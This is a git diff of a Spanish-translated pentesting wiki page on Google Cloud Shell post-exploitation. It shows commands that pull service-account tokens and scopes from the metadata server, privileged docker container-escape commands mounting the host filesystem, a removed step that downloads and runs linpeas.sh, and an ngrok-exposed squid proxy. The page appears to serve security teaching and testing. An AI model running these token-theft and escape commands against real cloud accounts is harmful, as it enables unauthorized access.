Translated ['', 'src/pentesting-cloud/gcp-security/gcp-post-exploitation

This commit is contained in:
Translator
2025-12-08 11:36:44 +00:00
parent 0fdbeece3b
commit 9094acba64

View File

@@ -4,46 +4,46 @@
## Cloud Shell
Para más información sobre Cloud Shell consulta:
Para más información sobre Cloud Shell, consulta:
{{#ref}}
../gcp-services/gcp-cloud-shell-enum.md
{{#endref}}
### Container Escape
### Obtiene el token del usuario desde metadata
Ten en cuenta que Google Cloud Shell se ejecuta dentro de un contenedor; puedes **escapar fácilmente al host** haciendo:
Simplemente accediendo al servidor de metadata puedes obtener un token para acceder como el usuario que inició sesión actualmente:
```bash
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
```
### Container Escape / Uso de Docker
> [!WARNING]
> Anteriormente el cloud shell se ejecutaba en un contenedor con acceso al docker socket del host. Ahora Google ha cambiado la arquitectura y el contenedor del cloud shell ejecuta una configuración de "Docker in a container". Por lo tanto, incluso si es posible usar docker desde el cloud shell, no podrás escapar al host usando el docker socket.
> Ten en cuenta que anteriormente el archivo `docker.sock` estaba ubicado en `/google/host/var/run/docker.sock`, pero ahora se ha movido a `/run/docker.sock`.
<details>
<summary>Container escape commands</summary>
<summary>Uso de Docker / Comandos antiguos de container escape</summary>
```bash
sudo docker -H unix:///google/host/var/run/docker.sock pull alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock start escaper
sudo docker -H unix:///google/host/var/run/docker.sock exec -it escaper /bin/sh
sudo docker -H unix:///run/docker.sock pull alpine:latest
sudo docker -H unix:///run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
sudo docker -H unix:///run/docker.sock start escaper
sudo docker -H unix:///run/docker.sock exec -it escaper /bin/sh
```
</details>
Esto no es considerado una vulnerabilidad por google, pero te da una visión más amplia de lo que está ocurriendo en ese entorno.
Además, observa que desde el host puedes encontrar un token de cuenta de servicio:
Además, en el pasado era posible encontrar un token para una cuenta de servicio usada por la cloud shell VM en el servidor de metadatos:
<details>
<summary>Obtener la cuenta de servicio desde los metadatos</summary>
<summary>Cuenta de servicio antigua en los metadatos</summary>
```bash
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
default/
vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/
```
</details>
Con los siguientes scopes:
<details>
<summary>Obtener scopes de la service account</summary>
Con los siguientes ámbitos:
```bash
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes"
@@ -53,23 +53,11 @@ https://www.googleapis.com/auth/monitoring.write
```
</details>
Enumerar metadatos con LinPEAS:
<details>
<summary>Enumerar metadatos con LinPEAS</summary>
```bash
cd /tmp
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
sh linpeas.sh -o cloud
```
</details>
### Usarlo como proxy
Después de usar [https://github.com/carlospolop/bf_my_gcp_permissions](https://github.com/carlospolop/bf_my_gcp_permissions) con el token de la Service Account **no se descubrió ningún permiso**...
### Usarlo como Proxy
Si quieres usar tu google cloud shell instance como Proxy, necesitas ejecutar los siguientes comandos (o insertarlos en el archivo .bashrc):
Si quieres usar tu instancia de google cloud shell como proxy necesitas ejecutar los siguientes comandos (o insertarlos en el archivo .bashrc):
<details>
@@ -96,7 +84,7 @@ copia el archivo **squid.conf** a **/etc/squid**
<details>
<summary>Copiar la configuración en /etc/squid</summary>
<summary>Copiar configuración a /etc/squid</summary>
```bash
sudo cp squid.conf /etc/squid
```
@@ -116,15 +104,15 @@ Usa ngrok para que el proxy esté disponible desde el exterior:
<details>
<summary>Exponer el proxy con ngrok</summary>
<summary>Exponer proxy con ngrok</summary>
```bash
./ngrok tcp 3128
```
</details>
Después de ejecutar, copie la URL tcp://. Si quiere usar el proxy desde un navegador, se sugiere eliminar la parte tcp:// y el puerto, y poner el puerto en el campo de puerto de la configuración de proxy de su navegador (squid es un http proxy server).
Después de ejecutar, copia la URL tcp://. Si quieres ejecutar el proxy desde un navegador, se sugiere eliminar la parte tcp:// y el puerto y poner el puerto en el campo de puerto de la configuración de proxy de tu navegador (squid es un servidor proxy http).
Para un mejor uso al iniciar, el archivo .bashrc debería contener las siguientes líneas:
Para un mejor uso al inicio, el archivo .bashrc debería tener las siguientes líneas:
<details>
@@ -137,6 +125,6 @@ cd ngrok;./ngrok tcp 3128
```
</details>
Las instrucciones fueron copiadas de [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key). Revisa esa página para otras ideas locas para ejecutar cualquier tipo de software (bases de datos e incluso Windows) en Cloud Shell.
Las instrucciones fueron copiadas de [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key). Revisa esa página para otras ideas locas para ejecutar cualquier tipo de software (databases e incluso windows) en Cloud Shell.
{{#include ../../../banners/hacktricks-training.md}}